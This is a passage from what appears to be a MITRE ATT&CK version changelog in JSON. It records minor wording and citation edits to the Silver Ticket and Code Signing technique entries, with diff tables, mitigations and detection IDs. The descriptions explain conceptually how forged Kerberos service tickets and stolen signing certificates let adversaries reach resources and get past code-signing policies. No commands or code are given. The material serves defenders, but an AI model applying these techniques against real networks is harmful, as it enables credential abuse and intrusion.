nowrap=\"nowrap\">ivilege&nbsp;Escalation](https://attack.mitre.org/tactics/TA0004)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">),&nbsp;and&nbsp;[Lateral&nbsp;Movement](https://attack.mitre.org/tactics/T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;and&nbsp;[Lateral&nbsp;Movement](https://attack.mitre.org/tactics/TA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">A0008)&nbsp;via&nbsp;access&nbsp;to&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">0008)&nbsp;via&nbsp;access&nbsp;to&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1078).(Citation:&nbsp;SANS&nbsp;Attacking&nbsp;Kerberos&nbsp;Nov&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1078).(Citation:&nbsp;SANS&nbsp;Attacking&nbsp;Kerberos&nbsp;Nov&nbsp;2</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2014)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">014)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1027: Password Policies",
                            "M1041: Encrypt Sensitive Information"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0157: Detect Kerberoasting Attempts (T1558.003)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 19:14:48.309000+00:00",
                    "modified": "2026-11-03 23:27:26.196000+00:00",
                    "name": "Silver Ticket",
                    "description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1558/002",
                            "external_id": "T1558.002"
                        },
                        {
                            "source_name": "ADSecurity Detecting Forged Tickets",
                            "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                            "url": "https://adsecurity.org/?p=1515"
                        },
                        {
                            "source_name": "ADSecurity Silver Tickets",
                            "description": "Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.",
                            "url": "https://adsecurity.org/?p=2011"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:27:26.196000+00:00\", \"old_value\": \"2025-10-24 17:49:26.177000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\\n\\nSilver tickets are more limited in scope than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\\n\\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).\", \"old_value\": \"Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\\n\\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\\n\\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\\n \\n-Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\\n+Silver tickets are more limited in scope than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\\n \\n Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][3]\": {\"source_name\": \"Medium Detecting Attempts to Steal Passwords from Memory\", \"description\": \"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.\", \"url\": \"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to22__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to22__0\"><a href=\"#difflib_chg_to22__top\">t</a></td><td class=\"diff_header\" id=\"from22_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;who&nbsp;have&nbsp;the&nbsp;password&nbsp;hash&nbsp;of&nbsp;a&nbsp;target&nbsp;service&nbsp;a</td><td class=\"diff_next\"><a href=\"#difflib_chg_to22__top\">t</a></td><td class=\"diff_header\" id=\"to22_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;who&nbsp;have&nbsp;the&nbsp;password&nbsp;hash&nbsp;of&nbsp;a&nbsp;target&nbsp;service&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ccount&nbsp;(e.g.&nbsp;SharePoint,&nbsp;MSSQL)&nbsp;may&nbsp;forge&nbsp;Kerberos&nbsp;ticket&nbsp;gr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ccount&nbsp;(e.g.&nbsp;SharePoint,&nbsp;MSSQL)&nbsp;may&nbsp;forge&nbsp;Kerberos&nbsp;ticket&nbsp;gr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">anting&nbsp;service&nbsp;(TGS)&nbsp;tickets,&nbsp;also&nbsp;known&nbsp;as&nbsp;silver&nbsp;tickets.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">anting&nbsp;service&nbsp;(TGS)&nbsp;tickets,&nbsp;also&nbsp;known&nbsp;as&nbsp;silver&nbsp;tickets.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Kerberos&nbsp;TGS&nbsp;tickets&nbsp;are&nbsp;also&nbsp;known&nbsp;as&nbsp;service&nbsp;tickets.(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Kerberos&nbsp;TGS&nbsp;tickets&nbsp;are&nbsp;also&nbsp;known&nbsp;as&nbsp;service&nbsp;tickets.(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;ADSecurity&nbsp;Silver&nbsp;Tickets)&nbsp;&nbsp;Silver&nbsp;tickets&nbsp;are&nbsp;more&nbsp;li</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;ADSecurity&nbsp;Silver&nbsp;Tickets)&nbsp;&nbsp;Silver&nbsp;tickets&nbsp;are&nbsp;more&nbsp;li</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mited&nbsp;in&nbsp;scope&nbsp;<span class=\"diff_chg\">in&nbsp;than&nbsp;golden&nbsp;tickets&nbsp;in&nbsp;that</span>&nbsp;they&nbsp;only&nbsp;enab</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mited&nbsp;in&nbsp;scope&nbsp;<span class=\"diff_chg\">than&nbsp;golden&nbsp;tickets&nbsp;in&nbsp;that</span>&nbsp;they&nbsp;only&nbsp;enable&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;adversaries&nbsp;to&nbsp;access&nbsp;a&nbsp;particular&nbsp;resource&nbsp;(e.g.&nbsp;MSSQL)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversaries&nbsp;to&nbsp;access&nbsp;a&nbsp;particular&nbsp;resource&nbsp;(e.g.&nbsp;MSSQL)&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;the&nbsp;system&nbsp;that&nbsp;hosts&nbsp;the&nbsp;resource;&nbsp;however,&nbsp;unlike&nbsp;gold</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;system&nbsp;that&nbsp;hosts&nbsp;the&nbsp;resource;&nbsp;however,&nbsp;unlike&nbsp;golden&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;tickets,&nbsp;adversaries&nbsp;with&nbsp;the&nbsp;ability&nbsp;to&nbsp;forge&nbsp;silver&nbsp;tic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tickets,&nbsp;adversaries&nbsp;with&nbsp;the&nbsp;ability&nbsp;to&nbsp;forge&nbsp;silver&nbsp;ticket</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kets&nbsp;are&nbsp;able&nbsp;to&nbsp;create&nbsp;TGS&nbsp;tickets&nbsp;without&nbsp;interacting&nbsp;with</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;are&nbsp;able&nbsp;to&nbsp;create&nbsp;TGS&nbsp;tickets&nbsp;without&nbsp;interacting&nbsp;with&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;Key&nbsp;Distribution&nbsp;Center&nbsp;(KDC),&nbsp;potentially&nbsp;making&nbsp;detec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Key&nbsp;Distribution&nbsp;Center&nbsp;(KDC),&nbsp;potentially&nbsp;making&nbsp;detectio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;more&nbsp;difficult.(Citation:&nbsp;ADSecurity&nbsp;Detecting&nbsp;Forged&nbsp;T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;more&nbsp;difficult.(Citation:&nbsp;ADSecurity&nbsp;Detecting&nbsp;Forged&nbsp;Tick</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ickets)&nbsp;&nbsp;Password&nbsp;hashes&nbsp;for&nbsp;target&nbsp;services&nbsp;may&nbsp;be&nbsp;obtained</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ets)&nbsp;&nbsp;Password&nbsp;hashes&nbsp;for&nbsp;target&nbsp;services&nbsp;may&nbsp;be&nbsp;obtained&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;using&nbsp;[OS&nbsp;Credential&nbsp;Dumping](https://attack.mitre.org/tech</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;[OS&nbsp;Credential&nbsp;Dumping](https://attack.mitre.org/techniq</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">niques/T1003)&nbsp;or&nbsp;[Kerberoasting](https://attack.mitre.org/te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1003)&nbsp;or&nbsp;[Kerberoasting](https://attack.mitre.org/techn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1558/003).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1558/003).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1027: Password Policies",
                            "M1041: Encrypt Sensitive Information"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0241: Detect Forged Kerberos Silver Tickets (T1558.002)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-05 16:27:37.784000+00:00",
                    "modified": "2026-11-04 00:55:44.584000+00:00",
                    "name": "Code Signing",
                    "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.(Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform.(Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1553/002",
                            "external_id": "T1553.002"
                        },
                        {
                            "source_name": "EclecticLightChecksonEXECodeSigning",
                            "description": "Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.",
                            "url": "https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/"
                        },
                        {
                            "source_name": "Securelist Digital Certificates",
                            "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                            "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                        },
                        {
                            "source_name": "Symantec Digital Certificates",
                            "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                            "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
                        },
                        {
                            "source_name": "Wikipedia Code Signing",
                            "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                            "url": "https://en.wikipedia.org/wiki/Code_signing"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:55:44.584000+00:00\", \"old_value\": \"2026-05-12 15:12:00.624000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.(Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\\n\\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform.(Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\\n\\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. \", \"old_value\": \"Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\\n\\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\\n\\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\\n+Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.(Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\\n \\n-Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\\n+Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform.(Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\\n \\n Code signing certificates may be used to bypass security policies that require signed code to execute on a system. \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to23__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to23__0\"><a href=\"#difflib_chg_to23__top\">t</a></td><td class=\"diff_header\" id=\"from23_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create,&nbsp;acquire,&nbsp;or&nbsp;steal&nbsp;code&nbsp;signing&nbsp;mater</td><td class=\"diff_next\"><a href=\"#difflib_chg_to23__top\">t</a></td><td class=\"diff_header\" id=\"to23_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create,&nbsp;acquire,&nbsp;or&nbsp;steal&nbsp;code&nbsp;signing&nbsp;mater</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ials&nbsp;to&nbsp;sign&nbsp;their&nbsp;malware&nbsp;or&nbsp;tools.&nbsp;Code&nbsp;signing&nbsp;provides&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ials&nbsp;to&nbsp;sign&nbsp;their&nbsp;malware&nbsp;or&nbsp;tools.&nbsp;Code&nbsp;signing&nbsp;provides&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;level&nbsp;of&nbsp;authenticity&nbsp;on&nbsp;a&nbsp;binary&nbsp;from&nbsp;the&nbsp;developer&nbsp;and&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;level&nbsp;of&nbsp;authenticity&nbsp;on&nbsp;a&nbsp;binary&nbsp;from&nbsp;the&nbsp;developer&nbsp;and&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">guarantee&nbsp;that&nbsp;the&nbsp;binary&nbsp;has&nbsp;not&nbsp;been&nbsp;tampered&nbsp;with.<span class=\"diff_sub\">&nbsp;</span>(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">guarantee&nbsp;that&nbsp;the&nbsp;binary&nbsp;has&nbsp;not&nbsp;been&nbsp;tampered&nbsp;with.(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Wikipedia&nbsp;Code&nbsp;Signing)&nbsp;The&nbsp;certificates&nbsp;used&nbsp;during&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Wikipedia&nbsp;Code&nbsp;Signing)&nbsp;The&nbsp;certificates&nbsp;used&nbsp;during&nbsp;an&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;operation&nbsp;may&nbsp;be&nbsp;created,&nbsp;acquired,&nbsp;or&nbsp;stolen&nbsp;by&nbsp;the&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">operation&nbsp;may&nbsp;be&nbsp;created,&nbsp;acquired,&nbsp;or&nbsp;stolen&nbsp;by&nbsp;the&nbsp;adversa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ary.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Securelist&nbsp;Digital&nbsp;Certificates)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry.(Citation:&nbsp;Securelist&nbsp;Digital&nbsp;Certificates)(Citation:&nbsp;Sym</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Symantec&nbsp;Digital&nbsp;Certificates)&nbsp;Unlike&nbsp;[Invalid&nbsp;Code&nbsp;Signatur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">antec&nbsp;Digital&nbsp;Certificates)&nbsp;Unlike&nbsp;[Invalid&nbsp;Code&nbsp;Signature](</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e](https://attack.mitre.org/techniques/T1036/001),&nbsp;this&nbsp;acti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">https://attack.mitre.org/techniques/T1036/001),&nbsp;this&nbsp;activit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vity&nbsp;will&nbsp;result&nbsp;in&nbsp;a&nbsp;valid&nbsp;signature.&nbsp;&nbsp;Code&nbsp;signing&nbsp;to&nbsp;veri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;will&nbsp;result&nbsp;in&nbsp;a&nbsp;valid&nbsp;signature.&nbsp;&nbsp;Code&nbsp;signing&nbsp;to&nbsp;verify&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fy&nbsp;software&nbsp;on&nbsp;first&nbsp;run&nbsp;can&nbsp;be&nbsp;used&nbsp;on&nbsp;modern&nbsp;Windows&nbsp;and&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">software&nbsp;on&nbsp;first&nbsp;run&nbsp;can&nbsp;be&nbsp;used&nbsp;on&nbsp;modern&nbsp;Windows&nbsp;and&nbsp;macO</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">acOS&nbsp;systems.&nbsp;It&nbsp;is&nbsp;not&nbsp;used&nbsp;on&nbsp;Linux&nbsp;due&nbsp;to&nbsp;the&nbsp;decentraliz</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">S&nbsp;systems.&nbsp;It&nbsp;is&nbsp;not&nbsp;used&nbsp;on&nbsp;Linux&nbsp;due&nbsp;to&nbsp;the&nbsp;decentralized&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;nature&nbsp;of&nbsp;the&nbsp;platform.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Wikipedia&nbsp;Code&nbsp;Signing</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nature&nbsp;of&nbsp;the&nbsp;platform.(Citation:&nbsp;Wikipedia&nbsp;Code&nbsp;Signing)(Ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)(Citation:&nbsp;EclecticLightChecksonEXECodeSigning)&nbsp;&nbsp;Code&nbsp;signi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;EclecticLightChecksonEXECodeSigning)&nbsp;&nbsp;Code&nbsp;signing&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;certificates&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;bypass&nbsp;security&nbsp;policies&nbsp;that</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 